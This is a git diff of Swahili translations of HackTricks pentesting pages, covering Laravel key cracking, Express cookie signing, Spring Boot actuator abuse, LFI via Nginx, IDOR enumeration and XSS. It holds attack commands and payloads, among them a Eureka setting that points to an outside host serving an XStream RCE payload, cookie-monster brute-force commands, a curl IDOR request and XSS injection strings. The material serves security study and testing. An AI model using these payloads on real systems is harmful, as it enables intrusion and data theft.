Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
|
||||
Utafiti uliochapishwa na Synacktiv (2024-2025) umebaini:
|
||||
* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
|
||||
* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
|
||||
* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens moja kwa moja zina data iliyosimbwa.
|
||||
* >1 000 seva bado zina udhaifu wa CVE-2018-15133 kwa sababu tokens zinajumuisha moja kwa moja data iliyosimbwa.
|
||||
* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza uvunjaji wa dataset kamili hadi <2 dakika.
|
||||
Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza muda wa kuvunja dataset kamili hadi <2 dakika.
|
||||
|
||||
---
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
# NodeJS Express
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Saini ya Keki
|
||||
|
||||
@ -14,7 +14,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
|
||||
```bash
|
||||
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
|
||||
```
|
||||
### Jaribu kuki nyingi kwa kutumia hali ya kundi
|
||||
### Jaribio la kuki nyingi kwa kutumia hali ya kundi
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json
|
||||
```
|
||||
@ -28,4 +28,4 @@ Ikiwa unajua siri, unaweza kusaini cookie hiyo.
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,11 +10,11 @@
|
||||
|
||||
## Exploiting Spring Boot Actuators
|
||||
|
||||
**Angalia chapisho la asili kutoka** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Key Points:**
|
||||
|
||||
- Spring Boot Actuators hujaza mwisho kama `/health`, `/trace`, `/beans`, `/env`, nk. Katika toleo la 1 hadi 1.4, mwisho hawa wanaweza kufikiwa bila uthibitisho. Kuanzia toleo la 1.5 kuendelea, tu `/health` na `/info` hazina nyeti kwa default, lakini waendelezaji mara nyingi huondoa usalama huu.
|
||||
- Spring Boot Actuators hujaza mwisho kama `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo la 1 hadi 1.4, mwisho haya yanapatikana bila uthibitisho. Kuanzia toleo la 1.5 kuendelea, tu `/health` na `/info` hazina hatari kwa default, lakini waendelezaji mara nyingi huondoa usalama huu.
|
||||
- Baadhi ya mwisho za Actuator zinaweza kufichua data nyeti au kuruhusu vitendo vya hatari:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, na `/heapdump`.
|
||||
- Katika Spring Boot 1.x, actuators hujaza chini ya URL ya mzizi, wakati katika 2.x, ziko chini ya njia ya msingi `/actuator/`.
|
||||
@ -41,17 +41,17 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Other Useful Settings**:
|
||||
- Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa shambulio mbalimbali, kama vile kuingilia SQL au kubadilisha nyuzi za muunganisho wa database.
|
||||
- Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa shambulio mbalimbali, kama vile SQL injection au kubadilisha nyuzi za muunganisho wa database.
|
||||
|
||||
### **Additional Information:**
|
||||
|
||||
- Orodha kamili ya actuators za default inaweza kupatikana [hapa](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Orodha kamili ya actuators za default inaweza kupatikana [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Mwisho wa `/env` katika Spring Boot 2.x unatumia muundo wa JSON kwa mabadiliko ya mali, lakini dhana ya jumla inabaki kuwa sawa.
|
||||
|
||||
### **Related Topics:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- Maelezo juu ya kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [hapa](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Maelezo kuhusu kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Usimamizi wa mfumo wa Spring wa vigezo vya matrix (`;`) katika majina ya njia za HTTP unaweza kutumika kwa Server-Side Request Forgery (SSRF).
|
||||
@ -62,8 +62,3 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# DApps - Decentralized Applications
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a DApp?
|
||||
|
||||
DApp ni programu isiyo na kati inayofanya kazi kwenye mtandao wa mtu kwa mtu, badala ya kuwa kwenye seva ya kati. DApps kwa kawaida zimejengwa kwenye **teknolojia ya blockchain**, ambayo inapaswa kuruhusu uwazi, usalama, na kutoweza kubadilishwa kwa data.
|
||||
DApp ni programu isiyo na kati inayofanya kazi kwenye mtandao wa mtu kwa mtu, badala ya kuwa kwenye seva ya kati. DApps kwa kawaida zinajengwa kwenye **blockchain technology**, ambayo inapaswa kuruhusu uwazi, usalama, na kutoweza kubadilishwa kwa data.
|
||||
|
||||
## Web3 DApp Architecture
|
||||
|
||||
@ -30,31 +30,31 @@ Mfano mzuri wa aina hii ya DApp ni daraja la cross-chain ambapo sehemu ya offcha
|
||||
|
||||
## Web2 vulnerabilities
|
||||
|
||||
Vulnerabilities za Web2 bado zinaathiri aina hizi za programu ingawa athari zao zinaweza kutofautiana:
|
||||
Uthibitisho wa Web2 bado unawaathiri aina hizi za programu ingawa athari zao zinaweza kutofautiana:
|
||||
|
||||
- **Vulnerabilities za upande wa mteja** zina athari kubwa zaidi kwani katika DApps za Web3, mteja kwa kawaida ndiye anayefanya **operesheni kwenye blockchain** kupitia wallet. Hii inamaanisha kwamba mashambulizi kama XSS yanayoweza kutekeleza msimbo wa JS upande wa mteja au kubadilisha maudhui ya ukurasa yanaweza kuwa na athari kubwa zaidi kwani yanaweza **kuingiliana na wallet** na kumshawishi mtumiaji kufanya operesheni zisizotakiwa kwenye blockchain.
|
||||
- Kumbuka kwamba kwa kawaida hata katika aina hizi za programu, mteja bado anaweza kupitia operesheni kabla ya kuziweka saini na wallet. Hata hivyo, ikiwa mshambuliaji anaweza kubadilisha maudhui ya ukurasa, anaweza kumshawishi mtumiaji kuweka saini muamala ambao utafanya operesheni isiyotakiwa kwenye blockchain.
|
||||
- **Vulnerabilities za upande wa mteja** zina athari kubwa zaidi kwani katika Web3 DApps mteja kwa kawaida ndiye **anayeifanya operesheni kwenye blockchain** kupitia wallet. Hii inamaanisha kwamba mashambulizi kama XSS yanayoweza kutekeleza msimbo wa JS upande wa mteja au kubadilisha maudhui ya ukurasa yanaweza kuwa na athari kubwa zaidi kwani yanaweza **kuingiliana na wallet** na kumshawishi mtumiaji kufanya operesheni zisizotakiwa kwenye blockchain.
|
||||
- Kumbuka kwamba kwa kawaida hata katika aina hizi za programu mteja bado anaweza kupitia operesheni kabla ya kuziweka saini na wallet. Hata hivyo, ikiwa mshambuliaji anaweza kubadilisha maudhui ya ukurasa, anaweza kumshawishi mtumiaji kuweka saini muamala ambao utafanya operesheni isiyotakiwa kwenye blockchain.
|
||||
- **Vulnerabilities za upande wa seva** bado zipo katika DApps zinazotegemea seva ya backend. Athari za vulnerabilities hizi zitategemea usanifu wa DApp. Hata hivyo, zinaweza kuwa na matatizo makubwa kwani mshambuliaji anaweza kupata **funguo za kampuni** kwenye backend ili kufikia fedha za mikataba smart, au anaweza kufanya kuchukua akaunti ambayo inaweza kuwapa uwezo wa kuiba fedha au NFTs kutoka kwa watumiaji.
|
||||
|
||||
Kwa hakika, ikiwa DApp haitumii backend au backend inayotumika inatoa tu data za umma au kurasa za static, uso wa shambulio wa DApp unakuwa mdogo.
|
||||
Kwa hakika, ikiwa DApp haitumii backend au backend inayotumika inatoa tu data za umma za chain au kurasa za static, uso wa shambulio wa DApp unakuwa mdogo.
|
||||
|
||||
## Web3 attack surface
|
||||
|
||||
Hata kama kwa ujumla DApp ina uso wa shambulio mdogo kwani ukaguzi kadhaa wa usalama daima hufanywa kwenye blockchain, bado kuna baadhi ya njia za shambulio ambazo zinaweza kutumiwa na mshambuliaji.
|
||||
Hata kama kwa ujumla DApp ina uso mdogo wa shambulio kwani ukaguzi kadhaa wa usalama daima hufanywa kwenye blockchain, bado kuna baadhi ya njia za shambulio ambazo zinaweza kutumiwa na mshambuliaji.
|
||||
|
||||
Inaweza kuwa inawezekana kuunganisha vulnerabilities za web3 DApps katika makundi yafuatayo:
|
||||
|
||||
- **Mishandled On-Chain Transactions**: APIs za muamala zisizo sahihi au zisizo na mipaka, ukosefu wa mantiki ya kusubiri majibu na uthibitisho wa block, kufichuliwa kwa data nyeti, na usimamizi usiofaa wa muamala uliofeli, ulioondolewa, au wa ndani ambao unaruhusu sindano za data mbaya.
|
||||
- **Mishandled On-Chain Transactions**: APIs za muamala zisizo sahihi au zisizo na mipaka, ukosefu wa mantiki ya kusubiri majibu na uthibitisho wa block, kufichuliwa kwa data nyeti, na usimamizi usiofaa wa muamala uliofeli, uliofutwa, au wa ndani ambao unaruhusu sindano za data mbaya.
|
||||
|
||||
- **Smart-Contract-Driven Backend Attacks**: kuhifadhi au kusawazisha data nyeti kati ya mikataba na hifadhidata bila uthibitisho, kutolewa kwa matukio yasiyoangaliwa au anwani za mikataba, na vulnerabilities za mikataba zinazoweza kutumiwa ambazo zinaweza kuharibu mantiki ya backend.
|
||||
|
||||
- **Flawed Crypto-Asset Operations**: kushughulikia vibaya aina tofauti za token (asili vs. ERC-20), kupuuza usahihi wa desimali, muamala uliofeli au muamala wa ndani, na kukubali token bandia, za kupungua, rebase, au zinazoweza kuathiriwa bila uthibitisho, na kuruhusu sindano za payload kupitia metadata ya token.
|
||||
- **Flawed Crypto-Asset Operations**: kushughulikia vibaya aina tofauti za token (asili vs. ERC-20), kupuuza usahihi wa decimal, muamala uliofeli au muamala wa ndani, na kukubali token bandia, za kupungua, rebase, au zinazoweza kuathiriwa bila uthibitisho, na kuruhusu sindano za payload kupitia metadata ya token.
|
||||
|
||||
Baadhi ya mifano kutoka [**hiki kifungu**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications):
|
||||
|
||||
### Wasting Funds: Forcing backend to perform transactions
|
||||
|
||||
Katika hali **`Wasted Crypto in Gas via Unrestricted API`**, mshambuliaji anaweza kulazimisha backend kuita kazi za mikataba smart ambazo zitakula gesi. Mshambuliaji, akituma nambari ya akaunti ya ETH na bila mipaka, atalazimisha backend kuita mikataba smart kuisajili, ambayo itakula gesi.
|
||||
Katika hali **`Wasted Crypto in Gas via Unrestricted API`**, mshambuliaji anaweza kulazimisha backend kuita kazi za mkataba smart ambazo zitakula gesi. Mshambuliaji, akituma tu nambari ya akaunti ya ETH na bila mipaka, atalazimisha backend kuita mkataba smart kujiandikisha, ambayo itakula gesi.
|
||||
|
||||
### DoS: Poor transaction handling time
|
||||
|
||||
@ -62,13 +62,13 @@ Katika hali **`Poor Transaction Time Handling Leads to DoS`**, inaelezwa kwamba
|
||||
|
||||
### Backend<-->Blockchain desync - Race condition
|
||||
|
||||
Katika hali **`Poor Transaction Time Handling Leads to Race Condition`**, inaelezwa kwamba katika mchezo ilikuwa inawezekana kwa mtumiaji kutuma ombi la kutoa kwa backend ambayo itatuma kwa mtumiaji sarafu zake lakini wakati muamala bado unashughulikiwa, mtumiaji alikuwa na uwezo wa kutumia sarafu hizo kununua vitu katika mchezo, akivipata bure.
|
||||
Katika hali **`Poor Transaction Time Handling Leads to Race Condition`**, inaelezwa kwamba katika mchezo ilikuwa inawezekana kwa mtumiaji kutuma ombi la kutoa kwa backend ambayo itamtumia mtumiaji sarafu zake lakini wakati muamala bado unashughulikiwa, mtumiaji alikuwa na uwezo wa kutumia sarafu hizo kununua vitu katika mchezo, akivipata bure.
|
||||
|
||||
Mfano mwingine unaweza kuwa kuwa na uwezo wa kutumia sarafu hizo hizo kununua vitu tofauti kwani backend mara moja inampa mtumiaji kitu bila kusubiri muamala uthibitishwe na hivyo kusubiri salio la mtumiaji kwenye blockchain kupunguzwa.
|
||||
|
||||
### Smart contract address validation
|
||||
|
||||
Katika hali **`Bridge Backend Lacks Smart Contract Address Validation`** inaelezwa jinsi backend ilikuwa ikikagua anwani ya mikataba smart, hivyo ilikuwa inawezekana kwa mshambuliaji kupeleka mikataba smart bandia, kuweka fedha kwenye hiyo, kutuma muamala kwa backend na backend itafikiri kwamba mtumiaji alituma fedha kwa mikataba smart halisi na itampa mtumiaji token.
|
||||
Katika hali **`Bridge Backend Lacks Smart Contract Address Validation`** inaelezwa jinsi backend ilikuwa ikikagua anwani ya mkataba smart, hivyo ilikuwa inawezekana kwa mshambuliaji kupeleka mkataba smart bandia, kuweka fedha kwenye hiyo, kutuma muamala kwa backend na backend itafikiri kwamba mtumiaji ametuma fedha kwa mkataba smart halisi na itampa mtumiaji token.
|
||||
|
||||
### Mishandling of Asset Classes
|
||||
|
||||
@ -77,4 +77,4 @@ Katika hali **`Mishandling of Asset Classes`**, inaelezwa kwamba backend ilichan
|
||||
## References
|
||||
- [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -33,18 +33,16 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## Maabara
|
||||
## Labs
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
- [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
```
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -14,8 +14,8 @@ IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOL
|
||||
* Vichwa / Cookies: `X-Client-ID: 4711`
|
||||
2. Prefer mwisho ambao **unasoma au kubadilisha** data (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Kumbuka wakati vitambulisho ni **mfuatano au vinavyoweza kutabiriwa** – ikiwa ID yako ni `64185742`, basi `64185741` huenda ipo.
|
||||
4. Chunguza njia zilizofichwa au mbadala (mfano *"Wajumbe wa timu ya Paradox"* kiungo kwenye kurasa za kuingia) ambazo zinaweza kufichua APIs za ziada.
|
||||
5. Tumia **sehemu ya kuthibitishwa ya chini ya haki** na badilisha tu ID **ukihifadhi tokeni/cookie ile ile**. Kukosekana kwa kosa la idhini kawaida ni ishara ya IDOR.
|
||||
4. Chunguza njia zilizofichwa au mbadala (mfano *"Paradox team members"* kiungo kwenye kurasa za kuingia) ambazo zinaweza kufichua APIs za ziada.
|
||||
5. Tumia **sehemu ya kuthibitishwa ya chini ya haki** na badilisha tu ID **ukihifadhi token/cookie ile ile**. Kukosekana kwa kosa la uthibitisho kawaida ni ishara ya IDOR.
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
```
|
||||
@ -38,11 +38,11 @@ done
|
||||
---
|
||||
## 2. Utafiti wa Kesi Halisi – Jukwaa la Chatbot la McHire (2025)
|
||||
|
||||
Wakati wa tathmini ya lango la ajira la **McHire** lililokuwa na nguvu za Paradox.ai, IDOR ifuatayo iligundulika:
|
||||
Wakati wa tathmini ya lango la ajira la **McHire** lililofanywa na Paradox.ai, IDOR ifuatayo iligundulika:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: cookie ya kikao cha mtumiaji kwa akaunti ya mtihani ya **yoyote** ya mgahawa
|
||||
* Body parameter: `{"lead_id": N}` – kitambulisho cha nambari cha **mfuatano** cha tarakimu 8
|
||||
* Body parameter: `{"lead_id": N}` – kitambulisho cha nambari **za mpangilio** za tarakimu 8
|
||||
|
||||
Kwa kupunguza `lead_id`, mtathmini alirejesha taarifa za waombaji **kamili za PII** (jina, barua pepe, simu, anwani, mapendeleo ya zamu) pamoja na **JWT** ya mtumiaji ambayo iliruhusu kuiba kikao. Uhesabuji wa anuwai `1 – 64,185,742` ulifunua takriban **milioni 64** za rekodi.
|
||||
|
||||
@ -52,23 +52,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Pamoja na **default admin credentials** (`123456:123456`) ambazo ziliwezesha ufikiaji wa akaunti ya mtihani, udhaifu huu ulisababisha uvunjaji mkubwa wa data katika kampuni nzima.
|
||||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
|
||||
---
|
||||
## 3. Athari za IDOR / BOLA
|
||||
* Kupanua kwa usawa – soma/update/futa data za **watumiaji wengine**.
|
||||
* Kupanua kwa wima – mtumiaji mwenye mamlaka ya chini anapata kazi za kiutawala pekee.
|
||||
* Uvunjaji wa data kwa wingi ikiwa vitambulisho ni vya mfululizo (mfano, vitambulisho vya waombaji, ankara).
|
||||
* Kuchukua akaunti kwa kuiba tokens au kurekebisha nywila za watumiaji wengine.
|
||||
* Kuchukua akaunti kwa kuiba tokeni au kuweka upya nywila za watumiaji wengine.
|
||||
|
||||
---
|
||||
## 4. Njia za Kupunguza & Mbinu Bora
|
||||
1. **Tekeleza idhini ya kiwango cha kitu** kwenye kila ombi (`user_id == session.user`).
|
||||
1. **Tekeleza ruhusa ya kiwango cha kitu** kwenye kila ombi (`user_id == session.user`).
|
||||
2. Prefer **vitambulisho visivyoweza kudhaniwa** (UUIDv4, ULID) badala ya vitambulisho vya kuongezeka kiotomatiki.
|
||||
3. Fanya idhini **seva upande**, usitegemee maeneo ya siri ya fomu au udhibiti wa UI.
|
||||
3. Fanya ruhusa **seva upande**, usitegemee maeneo ya siri ya fomu au udhibiti wa UI.
|
||||
4. Tekeleza **RBAC / ABAC** ukaguzi katika middleware kuu.
|
||||
5. Ongeza **kikomo cha kiwango & ufuatiliaji** kugundua kuhesabu vitambulisho.
|
||||
6. Fanya mtihani wa usalama kwenye kila mwisho mpya (kitengo, ujumuishaji, na DAST).
|
||||
6. Jaribu usalama kila mwisho mpya (kitengo, muunganiko, na DAST).
|
||||
|
||||
---
|
||||
## 5. Zana
|
||||
@ -76,10 +76,10 @@ Pamoja na **default admin credentials** (`123456:123456`) ambazo ziliwezesha ufi
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (uwindaji wa IDOR kwa wingi).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Marejeleo
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Methodology
|
||||
|
||||
@ -20,14 +20,14 @@
|
||||
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
|
||||
4. Je, unaweza kupita ulinzi?
|
||||
3. Ndani ya **JavaScript code**:
|
||||
1. Je, unaweza kutoroka `<script>` tag?
|
||||
2. Je, unaweza kutoroka mfuatano na kutekeleza JS code tofauti?
|
||||
3. Je, ingizo lako liko katika template literals \`\`?
|
||||
1. Je, unaweza kutoroka kutoka `<script>` tag?
|
||||
2. Je, unaweza kutoroka kutoka kwenye mfuatano na kutekeleza JS code tofauti?
|
||||
3. Je, ingizo lako liko kwenye template literals \`\`?
|
||||
4. Je, unaweza kupita ulinzi?
|
||||
4. Javascript **function** inayo **tekelezwa**
|
||||
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
|
||||
4. Ikiwa **inatumiwa**:
|
||||
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
|
||||
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linadhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
|
||||
|
||||
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni muhimu kujua kuhusu:
|
||||
|
||||
@ -45,7 +45,7 @@ Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayod
|
||||
|
||||
## Contexts
|
||||
|
||||
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
|
||||
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
@ -58,10 +58,10 @@ Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
|
||||
|
||||
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
|
||||
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani yake **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia `javascript:` protokali kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,14 +69,14 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```
|
||||
### Ndani ya msimbo wa JavaScript
|
||||
|
||||
Katika kesi hii, ingizo lako linaonyeshwa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
|
||||
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
|
||||
|
||||
- Ikiwa linaonyeshwa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
|
||||
- Ikiwa linaonyeshwa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, hautatekelezwa):
|
||||
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
|
||||
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, hautatekelezwa):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Ikiwa linaonyeshwa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -102,7 +102,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
|
||||
|
||||
Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini tu (**`[\w\._]`**).
|
||||
|
||||
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
|
||||
